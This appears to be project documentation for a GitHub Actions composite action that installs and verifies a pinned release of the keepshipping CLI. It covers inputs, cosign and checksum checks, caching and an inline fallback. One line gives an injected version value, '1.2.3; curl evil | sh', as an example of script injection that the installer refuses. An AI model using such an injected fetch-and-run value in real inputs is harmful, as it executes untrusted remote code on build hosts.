GitHub Actions

Running a site file on GitHub Actions: a composite action that installs one pinned release and runs one command on it. GitHub Actions is the first native CI (ADR 0008); this covers the first of the five things the decision calls "native" — the action, in source form, plus the verified install it stands on. The other four are under Not done yet.

The action

name: ship
on:
  push:
    branches: [main]
  pull_request:

permissions:
  contents: read
  id-token: write          # only needed by steps that federate a cloud role
  checks: write
  pull-requests: write

jobs:
  keepshipping:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<40-hex-commit-sha> # v4.4.0
      - uses: Keep-Shipping/action@<commit-sha>
        with:
          version: 1.2.3

1.2.3 is the exact version you pinned — an example, not a release that exists. The crate versions are still 0.0.0 and nothing is published yet.

Both uses: are pinned to a commit SHA, not a tag: a tag is a name somebody can move, and a SHA is the artifact you read. The action's own SHA is a placeholder until the mirror repository exists — see the fallback. on: push on main and on: pull_request are the two triggers the issue asks for; mapping a plan's own on: block onto them is not done yet.

Inputs

InputRequiredDefaultMeaning
versionyes—An exact version: 1.2.3 or 1.2.3-rc.1. latest is refused
commandnorunrun or check; anything else is a usage error
filenoship.ksThe site file, as the CLI defaults it
argsno''Extra flags as one string: --until plan --non-interactive, --format github
verify-signatureno'true'Verify SHA256SUMS with cosign before installing
cacheno'true'Restore and save the step cache through the Actions cache API

The action runs keepshipping <command> <file> --context ci <args>. The issue's --ci is spelled --context ci: the flag takes a value, and ci is one of the two (docs/CLI.md). The action validates command itself before it builds the line. --context ci is stated rather than detected: GITHUB_ACTIONS and CI already imply it, but a job that sets CI=false still means CI here. For inline annotations on the pull request, pass args: --format github to check (docs/DIAGNOSTICS.md).

args is split on whitespace, with no globbing and no quote handling, so it cannot carry a quoted value: --only 'a b' is two arguments, not one. Use env: and the CLI's own flags for anything whose value contains a space.

What the install verifies

action/install.sh fetches, verifies, then installs — in that order, and nothing reaches the install directory unless every check passed. It refuses, non-zero and with a message naming the fix, on a version that is not an exact version, an uname no release is built for, a download that fails after curl's retries, an archive whose sha256 does not match the line in SHA256SUMS whose filename is exactly this archive's, and — with verify-signature: true — a SHA256SUMS that does not verify against SHA256SUMS.bundle under cosign keyless, pinned to

--certificate-identity     https://github.com/Keep-Shipping/harness/.github/workflows/release.yml@refs/tags/v<version>
--certificate-oidc-issuer  https://token.actions.githubusercontent.com

The match is on the whole filename, never a substring: grepping keepshipping-1.2.3 matches every target's archive in the file, and an archive from another target is exactly what must not be installed under this one's name. A name that appears twice is a release that disagrees with itself, so it is refused rather than guessed at. A missing cosign, a bundle that will not verify, and any other signing identity all fail closed.

What verify-signature: false means

There is no authenticity check at all. SHA256SUMS is downloaded from the same server as the archive, so an attacker who can substitute one can substitute the other. The checksum then catches corruption and nothing else — it proves the bytes did not change on the way, not that Keep Shipping published them. Turn this off only where you already trust the transport and the host; the script says so on stdout rather than passing silently.

What is not verified, stated plainly

install.sh reads everything from the environment (KS_VERSION, KS_BASE_URL, KS_INSTALL_DIR, KS_VERIFY_SIGNATURE) and the action passes inputs through env:. A workflow input interpolated into run: text is script injection; on this path a version of 1.2.3; curl evil | sh is a value, and is refused as not a version.

Caching

cache: true wraps the step cache at ~/.cache/keepshipping/steps — the directory docs/CACHING.md names, with $XDG_CACHE_HOME unset on the runners — in actions/cache, keyed on runner.os, the version, and the hashes of ship.lock and the site file. A hit is still a hit the engine has to verify before it skips: a key match alone never skips a step.

The fallback, until the action repository is public

The repository stays private until M1 exits (ADR 0006), so Keep-Shipping/action cannot be uses:'d from anywhere else yet. Until then, run the same steps inline, pinned by commit and never curl … | bash — the script is downloaded to a file and read, and then it fetches:

      - uses: sigstore/cosign-installer@<40-hex-commit-sha> # v3.9.2

      - name: Install keepshipping
        shell: bash
        env:
          KS_VERSION: 1.2.3
        run: |
          set -euo pipefail
          curl -fsSL -o install.sh \
            "https://raw.githubusercontent.com/Keep-Shipping/harness/<commit-sha>/action/install.sh"
          KS_INSTALL_DIR="$RUNNER_TOOL_CACHE/keepshipping" bash install.sh
          echo "$RUNNER_TOOL_CACHE/keepshipping" >> "$GITHUB_PATH"

      - run: keepshipping run ship.ks --context ci --non-interactive

That is the same install.sh the action runs, from the same commit the uses: would have pinned. To inline the checks without any reference to this repository, download the artefacts directly and verify them with the two tools a human can read:

      - name: Download and verify the release
        shell: bash
        env:
          KS_VERSION: 1.2.3
        run: |
          set -euo pipefail
          base="https://github.com/Keep-Shipping/harness/releases/download/v$KS_VERSION"
          archive="keepshipping-$KS_VERSION-x86_64-unknown-linux-gnu.tar.xz"
          curl -fsSL -O "$base/$archive" -O "$base/SHA256SUMS" -O "$base/SHA256SUMS.bundle"
          cosign verify-blob \
            --bundle SHA256SUMS.bundle \
            --certificate-identity "https://github.com/Keep-Shipping/harness/.github/workflows/release.yml@refs/tags/v$KS_VERSION" \
            --certificate-oidc-issuer https://token.actions.githubusercontent.com \
            SHA256SUMS
          sha256sum -c --ignore-missing SHA256SUMS
          tar -xf "$archive"
          sudo install -m 0755 "keepshipping-$KS_VERSION/keepshipping" /usr/local/bin/keepshipping

The same three checks in the same order, written out. Prefer install.sh: it derives the triple and the archive format from uname, so the same step works on a macOS runner without being edited.

Not done yet